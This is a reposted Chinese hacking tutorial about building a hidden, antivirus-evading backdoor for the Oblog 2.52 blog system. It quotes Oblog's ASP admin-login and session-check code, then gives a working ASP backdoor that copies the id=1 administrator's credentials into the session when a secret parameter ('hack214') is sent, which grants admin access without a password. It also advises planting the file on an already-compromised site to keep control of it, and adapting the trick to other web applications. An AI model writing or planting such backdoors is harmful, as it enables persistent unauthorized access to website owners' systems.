文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>利用Session验证做后门

利用Session验证做后门

时间:2010-11-20  来源:Hack214

我们最常用的ASP后门要属一句话木马了,因为一句话木马体积小,就那么几个字符,便于隐藏,而且使用起来相当的方便,用它作后门再合适不过了。不过现在杀毒软件也比较厉害,像什么站长ASP助手等只要一扫描,我们的一句话无论加密还是转换字符都不能躲过查杀。最近我在研究Oblog2.52,看了几段源码后倒给了我点灵感。Oblog对管理员的登录采用的是Session验证,我想大概是为了防止Cookie欺骗吧!Session验证确实比Cookie验证安全多了。当然,今天我不是找Oblog新漏洞的,只是做个不被查杀的后门而已,利用什么做后门呢?呵呵,那就用Oblog的Session验证吧!

 

Session验证做后门
这个后门很新鲜吧?在开始动手之前,我们先了解一下Session验证的原理。Session与Cookie不同,Cookie一般保存在客户端,我们有权修改它的相关内容,若改成其他用户的Cookie,我们就可以用别人的身份登录相应网站,所以Cookie验证不太安全。而Session是在服务端运行的,我们没有权利修改它,所以比较安全。好!废话少说,到这该进入我们的主题了。我们看一下Oblog后台登录文件admin_login.asp的源码,功能很简单,只是把用户填写的表单提交给了admin_chklogin.asp进行处理。此处重点看一下admin_chklogin.asp是怎么进行处理的,下面是其中的一段源码。

<%   dim sql,rs   dim username,password,s,s2   dim founderr,errmsg   dim GetCode,valicode   GetCode=int(request("GetCode"))   valicode=int(session("GetCode"))   if GetCode<>valicode then   FoundErr=True   ErrMsgErrMsg=ErrMsg & "<br><li>验证码错误!</li>"   end if   username=replace(trim(request("username")),"'","")   //接受提交的用户名,并过滤单引号   password=replace(trim(Request("password")),"'","")   //接受提交的密码,并过滤单引号   if UserName="" then   FoundErr=True   ErrMsgErrMsg=ErrMsg & "<br><li>用户名不能为空!</li>"   end if   if Password="" then   FoundErr=True   ErrMsgErrMsg=ErrMsg & "<br><li>密码不能为空!</li>"   end if   if FoundErr<>True then   password=md5(password) 加密密码   set rs=server.createobject("adodb.recordset")   sql="select * from admin where password='"&password&"' and username='"&username&"'" 进行sql查询   rs.open sql,conn,1,3   if rs.bof and rs.eof then   FoundErr=True   ErrMsgErrMsg=ErrMsg & "<br><li>用户名或密码错误!!!</li>"   else   if password<>rs("password") then   FoundErr=True   ErrMsgErrMsg=ErrMsg & "<br><li>用户名或密码错误!!!</li>"   Else //如果查询正确的话,执行下面的语句   rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")   rs("LastLoginTime")=now()   rs("LoginTimes")=rs("LoginTimes")+1   rs.update   session.Timeout=60   session("AdminName")=rs("username")   //关键语句,把查询到的username赋值于session(“adminname”)   session("adminpassword")=rs("password") //与上面相同   rs.close   set rs=nothing   call CloseConn()   Response.Redirect "Admin_Index.asp" //重定向到管理首页   end if   end if   rs.close   set rs=nothing   end if   if FoundErr=True then   call WriteErrMsg()   end if   call CloseConn()    

看到上面的Session验证了吧?若查询的数据存在则对Session进行赋值“session("AdminName")=rs("username")”、“session("adminpassword")=rs("password")”。我们再看一下admin_index.asp是怎么判断的,在开头的几行有如下代码:

<%   if session("AdminName") = "" then   //只是判断是不是为空   response.Redirect "Admin_Login.asp"   end if   %>    

开始我是这样想的,若再创建一个ASP文件,加入对Session赋值的语句,随便赋予Session一个值,再去访问后台,就可以不用输入密码直接进后台了。况且admin_index.asp只是判断Session是否为空,若不为空就可以进入后台管理了。但在测试的过程中是行不通的,后台还是伸着大手向我要密码。又仔细地研究了一下,原来admin_index.asp文件是由admin_index_left.asp、admin_index_top.asp等几个文件组成的,而这些文件的头部都有如下代码:<!--#include file="Admin_chkpass.asp"-->。看来是admin_chkpass.asp文件在作怪,打开admin_chkpass.asp看完源码后发现了问题的所在,代码如下:

AdminName=replace(session("AdminName"),"'","")   //把session(“adminname”)赋予adminname   adminpassword=session("adminpassword")   //把session(“adminpassword”)赋予adminpassword   if AdminName="" then   call CloseConn()   response.redirect "Admin_login.asp"   end if   sqlGetAdmin="select id from Admin where UserName='" & AdminName & "' and password='"&adminpassword&"'" //进行sql查询   set rsGetAdmin=server.CreateObject("adodb.recordset")   rsGetAdmin.open sqlGetAdmin,conn,1,1   if rsGetAdmin.bof and rsGetAdmin.eof then   //若记录不存在,重定向到后台登录   rsGetAdmin.close   set rsGetAdmin=nothing   call CloseConn()   response.redirect "Admin_login.asp"   end if   rsGetAdmin.close   set rsGetAdmin=nothing    

原来admin_chkpass.asp还要把Session的相应值放到SQL语句中查询一遍,若admin表中存在用户名和密码才能进入,所以我们前面随便给Session赋值是行不通的。知道了原因后,那么下面的构造就简单了,我写了段代码如下:

<!--#include file="conn.asp"-->   <%dim username,   Dim rs,sql   Username=request(“username”)   If username=”hack214” then //这句有隐蔽作用   Set rs=server.createobject(“adodb.recordset”)   Sql=”select * from admin where id=1”   Rs.open sql,conn,1,1   session.Timeout=60   session("AdminName")=rs(“username”)   session("adminpassword")=rs("password")   rs.close   set rs=nothing   response.redirect “admin_inex.asp”   end if%>    

把文件保存为hack..asp文件放到Oblog源码的目录里面,也可以插入到正常的Oblog的文件里,当访问“http://***/hack.asp?username=hack214”时就会直接跳到后台管理页面了。我在自己的电脑上试了一下,成功跳转到后台,因为不能用图来表示跳转过程,在这就不抓图了,在后台显示的用户是admin。整个过程中,我们并不知道管理员的用户名和密码,也不需要知道,因为在代码中执行了一次SQL查询:“sql=”select * from admin where id=1””,此句用于查询admin表中id为1的数据,然后把查询得到的数据赋值于Session,那么在经过admin_chkpass.asp时,只是把查询得到的数据再查询一遍,而此记录一定是存在的,所以顺利通过了验证,因为id为1的用户名是admin,所以登录的用户身份就变成了admin,我们就可以以管理员的身份进入后台了。

 

总结
怎么样,若用这个做后门很不错吧?不需要后台登录,直接就可以进后台了,但前提你要先得到WebShell才行呀!事实上利用起来并不复杂,其它的网站程序都可以用这个方法,若是Session验证的,把上面利用程序要查询的表名改一下,相应的赋值语句改一下,就可以使用了;若是Cookie验证的,只需把Session赋值的语句改成Cookie赋值的语句就可以了,在原理上都是一样的;而且,更重要的是,杀毒软件是绝对不会查杀的,只要网站不更换程序,肉鸡也是跑不掉的。怎么样,够绝吧?有兴趣的读者赶紧试试吧。

 

标签分类: 脚本入侵

相关阅读 更多 +
排行榜 更多 +
泡龙大闯关安卓版

泡龙大闯关安卓版

冒险解谜 下载
割草派对安卓版

割草派对安卓版

飞行射击 下载
堡垒攻防战安卓版

堡垒攻防战安卓版

飞行射击 下载